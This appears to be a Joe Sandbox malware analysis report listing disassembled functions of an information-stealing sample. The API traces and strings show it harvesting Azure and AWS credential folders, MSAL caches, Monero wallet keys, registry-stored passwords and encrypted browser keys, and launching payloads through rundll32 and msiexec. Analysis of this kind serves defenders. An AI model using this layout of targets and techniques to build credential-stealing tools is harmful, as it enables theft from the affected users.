Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: cb124e3b98d666f204abdd15ad796c068720da23b2af16610ab868a8127d6637
Instruction ID: 3f089b1bdefd73cc9cad1ba060acf4c3effa55405a80c650d604da3c3ce8108a
Opcode Fuzzy Hash: cb124e3b98d666f204abdd15ad796c068720da23b2af16610ab868a8127d6637
Instruction Fuzzy Hash: 7481E9B191011CAADB24DF54CC95FEAB7B8FF08700F10C299E24AA6180DF756B85CFA5

Function 00DF4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00DF8E0B

lstrcat.KERNEL32(?,00000000), ref: 00DF4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00DF4DCD

Part of subcall function 00DF4910: wsprintfA.USER32 ref: 00DF492C
Part of subcall function 00DF4910: FindFirstFileA.KERNEL32(?,?), ref: 00DF4943

lstrcat.KERNEL32(?,00000000), ref: 00DF4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00DF4E59

Part of subcall function 00DF4910: StrCmpCA.SHLWAPI(?,00E00FDC), ref: 00DF4971
Part of subcall function 00DF4910: StrCmpCA.SHLWAPI(?,00E00FE0), ref: 00DF4987
Part of subcall function 00DF4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00DF4B7D
Part of subcall function 00DF4910: FindClose.KERNEL32(000000FF), ref: 00DF4B92

lstrcat.KERNEL32(?,00000000), ref: 00DF4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00DF4EE5

Part of subcall function 00DF4910: wsprintfA.USER32 ref: 00DF49B0
Part of subcall function 00DF4910: StrCmpCA.SHLWAPI(?,00E008D2), ref: 00DF49C5
Part of subcall function 00DF4910: wsprintfA.USER32 ref: 00DF49E2
Part of subcall function 00DF4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00DF4A1E
Part of subcall function 00DF4910: lstrcat.KERNEL32(?,00840CA0), ref: 00DF4A4A
Part of subcall function 00DF4910: lstrcat.KERNEL32(?,00E00FF8), ref: 00DF4A5C
Part of subcall function 00DF4910: lstrcat.KERNEL32(?,?), ref: 00DF4A70
Part of subcall function 00DF4910: lstrcat.KERNEL32(?,00E00FFC), ref: 00DF4A82
Part of subcall function 00DF4910: lstrcat.KERNEL32(?,?), ref: 00DF4A96
Part of subcall function 00DF4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00DF4AAC
Part of subcall function 00DF4910: DeleteFileA.KERNEL32(?), ref: 00DF4B31

Strings

\.IdentityService\, xrefs: 00DF4ED9
*.*, xrefs: 00DF4DD8
Azure\.aws, xrefs: 00DF4E5F
*.*, xrefs: 00DF4E64
Azure\.IdentityService, xrefs: 00DF4EEB
msal.cache, xrefs: 00DF4EF0
\.azure\, xrefs: 00DF4DC1
Azure\.azure, xrefs: 00DF4DD3
\.aws\, xrefs: 00DF4E4D

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 696ad13c5f4f70a8994d9841282c9e5fda1a753233d74cd0cf586884dcd64f04
Instruction ID: 963ec1e219aa5541debda5a64e40550526c7b1f208a64da96dc6dd0f0ada36f0
Opcode Fuzzy Hash: 696ad13c5f4f70a8994d9841282c9e5fda1a753233d74cd0cf586884dcd64f04
Instruction Fuzzy Hash: 504132BAA4030866DB64FB60DC47FED7238EB64700F408494B689660C5EEF557C98BB2

Function 00DF9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00DF906C

Strings

image/jpeg, xrefs: 00DF9136

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: b0b3e8d365fa52f9ec40760e34cc584829ac7292f25be43e1c03123d24887c26
Instruction ID: c892d95941ad8e07dc0fd19c187c92a19c8d39e3bb643839c34ab3ca217bf6dd
Opcode Fuzzy Hash: b0b3e8d365fa52f9ec40760e34cc584829ac7292f25be43e1c03123d24887c26
Instruction Fuzzy Hash: 3B71DE75A10208EBDB24EFE4D899FEDB7B8FB48700F108518F655A7284DB79A905CB70

Function 00DF2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

ShellExecuteEx.SHELL32(0000003C), ref: 00DF31C5
ShellExecuteEx.SHELL32(0000003C), ref: 00DF335D
ShellExecuteEx.SHELL32(0000003C), ref: 00DF34EA

Strings

<, xrefs: 00DF3490
/passive, xrefs: 00DF345B
C:\Windows\system32\msiexec.exe, xrefs: 00DF34BF
.msi, xrefs: 00DF3398
C:\Windows\system32\rundll32.exe, xrefs: 00DF3332
"" , xrefs: 00DF309A
.dll, xrefs: 00DF31E5
/i ", xrefs: 00DF33E4

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 069a164d0a6710d345fe8d0d65f23e1afbef7a46868d733c3c41ef91f8691741
Instruction ID: 9d19018d75c661d0e814823977b029c6a49a5106de92851e9ceb07bc7b1f90e3
Opcode Fuzzy Hash: 069a164d0a6710d345fe8d0d65f23e1afbef7a46868d733c3c41ef91f8691741
Instruction Fuzzy Hash: BB120AB180011C9ADB14EBA4CC92FFEB738EF14340F558169E60A66195EF746B4ACF72

Function 00DF52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Part of subcall function 00DE6280: InternetOpenA.WININET(00E00DFE,00000001,00000000,00000000,00000000), ref: 00DE62E1
Part of subcall function 00DE6280: StrCmpCA.SHLWAPI(?,00840B30), ref: 00DE6303
Part of subcall function 00DE6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00DE6335
Part of subcall function 00DE6280: HttpOpenRequestA.WININET(00000000,GET,?,00840030,00000000,00000000,00400100,00000000), ref: 00DE6385
Part of subcall function 00DE6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00DE63BF
Part of subcall function 00DE6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00DE63D1

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00DF5318
lstrlen.KERNEL32(00000000), ref: 00DF532F

Part of subcall function 00DF8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00DF8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00DF5364
lstrlen.KERNEL32(00000000), ref: 00DF5383
lstrlen.KERNEL32(00000000), ref: 00DF53AE

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Strings

ERROR, xrefs: 00DF54A9
ERROR, xrefs: 00DF53B9
ERROR, xrefs: 00DF546F
ERROR, xrefs: 00DF5432
ERROR, xrefs: 00DF530A

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 363c562cd34135b0e19b8ab77b2209da1f9de48390edf09dc188a10e72cd4510
Instruction ID: 8ffdb5a78dbfee929f43b01cc50f04d2d44f31df214745ddba1deaad8687c0f7
Opcode Fuzzy Hash: 363c562cd34135b0e19b8ab77b2209da1f9de48390edf09dc188a10e72cd4510
Instruction Fuzzy Hash: 8E513AB091014D9BCB14FF68C992AFD3778EF10340F55C018EA0A6A596EF74AB45CBB2

Function 00DF12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 09b3965f0a4e6f45b89cd043381c46824f4adff7c520152d80f91798d25e56b6
Instruction ID: 6533ea7e059e7132971ddaa299784e4dc7cbae82052fc54117b87ac49d06d843
Opcode Fuzzy Hash: 09b3965f0a4e6f45b89cd043381c46824f4adff7c520152d80f91798d25e56b6
Instruction Fuzzy Hash: 9EC172B5A0021DDBCB24EF60DC89FEA7378FF54304F118598E60AA7141DA75AA85CFB1

Function 00DF4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00DF8E0B

lstrcat.KERNEL32(?,00000000), ref: 00DF42EC
lstrcat.KERNEL32(?,00840720), ref: 00DF430B
lstrcat.KERNEL32(?,?), ref: 00DF431F
lstrcat.KERNEL32(?,0083EA88), ref: 00DF4333

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DF8D90: GetFileAttributesA.KERNEL32(00000000,?,00DE1B54,?,?,00E0564C,?,?,00E00E1F), ref: 00DF8D9F

Part of subcall function 00DE9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00DE9D39

Part of subcall function 00DE99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00DE99EC
Part of subcall function 00DE99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00DE9A11
Part of subcall function 00DE99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00DE9A31
Part of subcall function 00DE99C0: ReadFile.KERNEL32(000000FF,?,00000000,00DE148F,00000000), ref: 00DE9A5A
Part of subcall function 00DE99C0: LocalFree.KERNEL32(00DE148F), ref: 00DE9A90
Part of subcall function 00DE99C0: CloseHandle.KERNEL32(000000FF), ref: 00DE9A9A

Part of subcall function 00DF93C0: GlobalAlloc.KERNEL32(00000000,00DF43DD,00DF43DD), ref: 00DF93D3

StrStrA.SHLWAPI(?,00840768), ref: 00DF43F3
GlobalFree.KERNEL32(?), ref: 00DF4512

Part of subcall function 00DE9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00DE4EEE,00000000,00000000), ref: 00DE9AEF
Part of subcall function 00DE9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00DE4EEE,00000000,?), ref: 00DE9B01
Part of subcall function 00DE9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00DE4EEE,00000000,00000000), ref: 00DE9B2A
Part of subcall function 00DE9AC0: LocalFree.KERNEL32(?,?,?,?,00DE4EEE,00000000,?), ref: 00DE9B3F

lstrcat.KERNEL32(?,00000000), ref: 00DF44A3
StrCmpCA.SHLWAPI(?,00E008D1), ref: 00DF44C0
lstrcat.KERNEL32(00000000,00000000), ref: 00DF44D2
lstrcat.KERNEL32(00000000,?), ref: 00DF44E5
lstrcat.KERNEL32(00000000,00E00FB8), ref: 00DF44F4

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: c7906df01814cb8162998f9994078c85a877aa59f8b339b754ab25a6d70ae9a1
Instruction ID: c05393eb04ec44c6fe85ad94185a865410f12148ef4abac83dd32f8cf579e630
Opcode Fuzzy Hash: c7906df01814cb8162998f9994078c85a877aa59f8b339b754ab25a6d70ae9a1
Instruction Fuzzy Hash: D17135B6A00208ABCB24FBA4DC95FEE7379EB48300F148598F60997185DA75DB45CFB1

Function 00DE1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DE12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DE12B4
Part of subcall function 00DE12A0: RtlAllocateHeap.NTDLL(00000000), ref: 00DE12BB
Part of subcall function 00DE12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00DE12D7
Part of subcall function 00DE12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00DE12F5
Part of subcall function 00DE12A0: RegCloseKey.ADVAPI32(?), ref: 00DE12FF

lstrcat.KERNEL32(?,00000000), ref: 00DE134F
lstrlen.KERNEL32(?), ref: 00DE135C
lstrcat.KERNEL32(?,.keys), ref: 00DE1377

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DF8B60: GetSystemTime.KERNEL32(00E00E1A,0083FC00,00E005AE,?,?,00DE13F9,?,0000001A,00E00E1A,00000000,?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DF8B86

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00DE1465

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Part of subcall function 00DE99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00DE99EC
Part of subcall function 00DE99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00DE9A11
Part of subcall function 00DE99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00DE9A31
Part of subcall function 00DE99C0: ReadFile.KERNEL32(000000FF,?,00000000,00DE148F,00000000), ref: 00DE9A5A
Part of subcall function 00DE99C0: LocalFree.KERNEL32(00DE148F), ref: 00DE9A90
Part of subcall function 00DE99C0: CloseHandle.KERNEL32(000000FF), ref: 00DE9A9A

DeleteFileA.KERNEL32(00000000), ref: 00DE14EF

Strings

wallet_path, xrefs: 00DE1330
\Monero\wallet.keys, xrefs: 00DE138D
SOFTWARE\monero-project\monero-core, xrefs: 00DE1335
.keys, xrefs: 00DE136B

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 15a600316d765a945becb27d55fffaaec593ee6350cd921d2cc2ad479fc40c32
Instruction ID: 75ef64af6fd5467630cf3e2a09335c3f1e2ffa037adf0e230c8cf52a95ed8eb0
Opcode Fuzzy Hash: 15a600316d765a945becb27d55fffaaec593ee6350cd921d2cc2ad479fc40c32
Instruction Fuzzy Hash: FA512FF195021997CB25FB64DD92AED737CEF50300F4181A8B70E66082EE706B89CBB5

Function 00DE75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DE72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00DE733A
Part of subcall function 00DE72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00DE73B1
Part of subcall function 00DE72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00DE740D
Part of subcall function 00DE72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00DE7452
Part of subcall function 00DE72D0: HeapFree.KERNEL32(00000000), ref: 00DE7459

lstrcat.KERNEL32(00000000,00E017FC), ref: 00DE7606
lstrcat.KERNEL32(00000000,00000000), ref: 00DE7648
lstrcat.KERNEL32(00000000, : ), ref: 00DE765A
lstrcat.KERNEL32(00000000,00000000), ref: 00DE768F
lstrcat.KERNEL32(00000000,00E01804), ref: 00DE76A0
lstrcat.KERNEL32(00000000,00000000), ref: 00DE76D3
lstrcat.KERNEL32(00000000,00E01808), ref: 00DE76ED
task.LIBCPMTD ref: 00DE76FB

Strings

: , xrefs: 00DE764E

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
